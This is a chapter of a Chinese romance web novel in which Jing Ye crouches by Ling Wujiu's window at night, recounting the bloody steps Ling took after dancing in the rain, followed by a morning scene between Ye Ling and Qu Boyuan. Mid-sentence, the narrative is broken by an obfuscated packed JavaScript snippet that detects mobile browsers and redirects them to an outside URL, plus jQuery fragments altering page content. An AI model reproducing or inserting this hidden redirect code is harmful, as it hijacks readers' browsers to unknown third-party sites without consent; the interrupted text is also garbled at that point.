入夜之后，东厢房的灯熄了。
惠舟回了西厢房，门合拢之后没有再开过。院子里只有黑猫蹲在树桩旁边，绿眼睛在夜色里亮着，面朝院门的方向，尾巴盘在爪尖上。
泠无咎躺在榻上，脚上的伤被旧布裹着，药水的气味在黑暗中缓慢地消散，像一截正在被时间缓慢收拢的线头，正在从边缘向中心缩紧。
他没有睡着。
他只是闭着眼，听着窗外夜风穿过檐角的声响。他在等——等一道脚步声，或者等一阵风把那道脚步声压到更低的位置，低到他分不清那是风声还是衣料擦过墙面的细响。那道脚步声在子时之后从后墙根下翻进来，落地极轻，像是怕惊动什么。
他没有走到门口，没有叩门，没有出声。他只是沿着廊柱的边缘移到东厢房的窗根下方，蹲了下来。
泠无咎在榻上睁开眼。隔着窗纸，月光把一道极淡的轮廓投影在窗纸外侧，蹲着，没有移动。
像一尊被放在那里的、正在缓慢收拢它自身轮廓的旧石像，正在等待某个确认信号——或者说，他在用自己蹲在窗口外侧的方式，向屋内的人确认他已经回来了。
泠无咎在黑暗中坐起来。他没有点灯，赤脚踩在旧木地板上，走到窗边，伸手推开了一线窗缝。夜风灌进来，带着露水和干土的气味。
他低头看着窗根下方蹲着的荆夜——月光落在他的侧脸上，把眉骨的轮廓和下颌的线条照得像一截被反复磨过很多次的旧刃的边缘。
他的目光垂着，没有抬头，落在地面上。他的肩膀微微内收，像一个人正在用某种方式压住自己的呼吸频率，把它调到比平时更低的位置，不至于因为太轻或太重而被人察觉。
泠无咎靠在窗框上，低头看着他。他开口了，声音悦耳，带着刚醒没多久时特有的微哑和懒散："你蹲在这里多久了？"
荆夜没有抬头。"一炷香。你睡着之后，翻墙进来，蹲在这里。"
泠无咎看着蹲在窗根下的那道黑色轮廓，看了片刻。他的嘴角浮起一层极浅的弧度——短而薄，像一根被夜风轻轻吹动的旧蛛丝，在月光中亮了一瞬又暗下去。
他没有收回目光，而是把脚从窗框边缘伸了出去——赤着的、裹着旧布的那只脚——落在荆夜的肩头上，不重，但也不轻。
像一片正在缓慢落定的旧叶，停在一个它预料中会接住它的位置上。
他的脚掌压着荆夜的肩头，那道被旧布包裹着的伤口隔着布料，抵着荆夜肩胛骨上方凹陷处的轮廓。他的声音从窗缝里传出来，带着那种懒散的、审视的、正在逗弄人的气声："看了多久了？"
荆夜蹲在原地，没有躲开那只脚。
他微微调整了膝盖的角度，让肩头那道承重的接触面更稳固，像一件被反复使用的旧结构正在按照已经测试过多次的承载方式重新调整它自身的平衡。
他的肩头承着那道重量，像一件已经被反复确认过承载能力、正在被继续使用着的旧结构。
他没有低头，他的目光从泠无咎的脚踝向上移动，沿着旧布边缘的折痕、沿着小腿的轮廓，落在泠无咎的瞳孔上。
那双眼睛里的内容很静，静得像一口已经被注满了水、正在缓慢等待水面重新恢复平静的旧井，但井底有东西在烧。
不是火焰，是烧过之后残留的暗红余烬，正在深水覆盖的底部持续地泛着那道几乎看不见的、被压住的热度。
他无声地看着泠无咎，像在看他脚上那道被包好的旧伤，又像在看他身上所有那些没有包好的地方。
他的眉头微微压着——不是拧，是比平时更低了一线，像一道正在被缓慢压紧的旧缝正在向更深处收拢。
他开口了，声音很低，像一块被水冲了很久的石头在翻面时露出的干燥表面："……从你走在田埂上开始。你经过粮仓废墟的时候没有停。你走到低洼地的时候脱了鞋。你踩进泥里的时候，脚底在渗血。
你在雨里跳了整夜，雨停了，你跪下去，又站起来。你走回来的时候——每一步，鞋底边缘都在渗血。"
他停了一下，声音更低了，"你经过通济桥的时候，我在屋顶上。你踩过的青砖面上，有一道暗红色的印子，三息之后才干。你睡着的时候，呼吸比平时慢了三拍。"
泠无咎的脚还踩在荆夜的肩头。荆夜抬起一只手，手指从袖口探出来，张开，垫在泠无咎的脚下——不是托，是垫，像一个正在支撑一件重物的人，把自己的手掌放在那件东西和它下方的接触面之间，让那件东西的底部碰到的不是冷硬的旧砖，不是粗糙的墙面，而是他的手心。
他的掌心贴着旧布边缘，指腹微微收拢，像在包裹一件正在缓慢降温的旧物，用他自己的温度去抵销那件东西正在向外散去的热量，让它在被完全冷却之前，多保留一刻属于它自身的余温。
泠无咎低头看着他。他的脚掌还压在荆夜的掌心上方，那道掌心的温度隔着薄薄的旧布布料从下方传递上来，像一截正在被持续加热的旧火石，正在缓慢地释放在闭合的容器内部产生的全部热量。
他的目光从荆夜的眉头滑到他的手指，从手指滑到地面，然后落回他的瞳孔上。他开口了："……数了？"
"从粮仓到通济桥，一千四百二十三步。从通济桥到后墙根，九百零七步。有血印的，三百一十二个。
你在田埂上走过的时候，有四十七步是踩在干裂的旧土上的，那些印子比泥地上的短一半。你在溪边洗脚的时候——"他停了一下，"你没有洗。你只是用水冲了一下，然后穿上了鞋。"
泠无咎的嘴角又弯了一线。
那道弧度和之前不同，更深了一些，像一枚正在被缓慢弯折的旧刃已经到达了它的临界角度，正在向更深的弯曲状态过渡。
他的声音从窗缝里传出来："那你蹲在这里，是来数我睡了几个时辰的？"
荆夜没有回答。
他的手掌依然垫在泠无咎的脚下，指尖微微收拢，像在确认一件东西的重量正在通过他的掌心持续地传递到他体内，正在缓慢地改变他自身平衡的方式。
他开口了："你睡着的时候，呼吸比平时慢了三拍。你闭眼的时候，眉头没有松开。你在梦里翻了一次身，右手摸了一下左脚的伤口位置，然后收回去了。
子时之后，你醒了一次，没有睁眼，只是换了一侧躺着——换了四次呼吸的时间，然后又睡了。"
泠无咎看着他。
月光从云层边缘漏下来，落在他半张脸上，在他冷白色的皮肤上镀了一层薄薄的银灰色。
他的目光从荆夜的眉头——那道正在缓慢收拢的、被压住的旧痕——移到他的手指上，那道正在垫着他脚掌的手指正在持续地维持着同样的弧度，没有移动过位置。
"你的脚底踩着我的肩头。你的伤口隔着布料压着我的锁骨。你站在我身上的时候——"
荆夜的声音比之前更低了一些，像一枚正在被缓慢浸透的旧标牌正在从内部渗出它被压住的内容，"能不能至少把脚底的伤养好了再踩？"
泠无咎低头看着他。他的脚掌还压在荆夜的掌心上方，那道掌心的温度从下方传递上来。他开口了："……那你垫着。垫到伤口愈合为止。"
他没有把脚收回来。
他在窗框边缘微微偏了一下头，黑瞳在夜色里亮了一下，像一枚正在被缓慢点燃的旧灯芯正在从底部向上渗出它的光。他伸手碰了一下自己颈间的血玉珠
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17942552|213957||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
链，指腹沿着最下面那颗珠子的边缘走了一圈，然后放下手，拢进袖中。
他的声音从窗缝里传出来："你蹲着，不用进来。"他转身走回榻边，躺了下去。
夜风从窗缝里灌进来，吹动了他垂落在枕侧的黑发末梢。他的手搭在榻沿外侧，指尖悬在床板边缘，没有收回。
那只手悬在那里，在夜色中泛着冷白色的微光，像一枚正在缓慢释放它多余热量的旧标记正在等待一件被收拢的东西落在它上方，沿着它预定的轨道移动到它的正下方，然后停下来。
荆夜蹲在窗外，垫在泠无咎脚下的手收回去，拢进袖中。
他的目光落在泠无咎悬在榻沿外侧的手指边缘上，片刻之后，他低下头，重新把目光收回到自己的手背上。窗纸外侧那道极淡的轮廓没有移动，依然蹲在原处。
夜风从廊柱边缘穿过去，把檐角悬着的一粒旧露水吹落下来，在地面上砸出一声短而轻的细响，像一枚旧棋子落在棋盘边缘后被风吹动又按住，落在该落的位置上，没有滑出去，也没有再被移动。
第二天清晨，宗庙后殿的烛火已经燃尽了。
叶灵坐在侧院的石阶上，白纱罩袍的衣摆还沾着南郊带回来的干泥，在晨光里泛着细碎的光点。
她坐了很久，久到日光从墙头移到石阶边缘。昨夜她没有回自己的住处，去了宗庙侧院后面的水池边蹲着，把双手浸进水里，让水温把手指恢复成不动时的姿态。
她在那里蹲了很久，久到水面的倒影从暗色变成浅金色。她没有站起来，只是看着水面上的自己——手已经不抖了。
身后传来一阵脚步声。
不重，是踩在青砖和苔痕交界线上的那种步子，每一步都落得稳，像是走这条路走了很多年。
屈伯渊在后殿门口站住了，他看见叶灵坐在石阶上，看了一会儿，然后走过去，在她旁边站定。
"……他回来了。"他说。声音有些颤，只是需要用声音的形态再确认一次它的存在。
叶灵没有抬头，目光落在水池边缘那层正在缓慢变干的旧苔痕上："……他跳了一整夜。脱了鞋，赤脚踩进泥里，脚底在渗血。他跳到雨停了，然后跪下去——我以为他站不起来了。"
她停了一下，"但他站起来了，他是自己走回来的。"
屈伯渊站在她旁边，日光从他们之间穿过，在石阶上铺了一道细长的、正在缓慢移动的暖色光带。
他沉默了一会儿，目光落在院墙根部那排被露水浸透的旧砖上，像在看一件已经被反复确认过、正在缓慢渗入他意识边缘的旧事："……你看见了。"
叶灵把手从水池里收了回来，垂在膝侧。水珠顺着她的指腹滑落下来，在石阶上洇开一小片深色的湿痕："我看见了，他踩过的泥地是红色的。"她停了一下，"他跳完之后，阴婆说了一句话。"
屈伯渊侧过头来看了她一眼，日光在他黑茶色的瞳仁边缘镀了一层薄薄的暖色："……说了什么？"
叶灵站起来，转身走向后殿门槛，在跨过门槛之前停住了，没有回头。
她的声音从那个背对的姿态里传出来："鬼神不敢近他。"她跨过门槛，走进了后殿的暗处。
屈伯渊站在石阶上，日光从他身后照过来，在他面前的青砖地面上投下一道长而细的影子。他站在那里，很久没有动。
晨风从院墙上方穿过来，吹动了他额前垂落的一缕发丝，又放下来。
他没有伸手去拂，只是站在那里，看着地面上那道正在缓慢移动的影子，看着它的边缘在日光中逐渐拉长，像一截正在被时间缓慢铺平的旧纸正在被展开，露出它原有的折痕和边缘，暴露在空气里，无法再被收回去。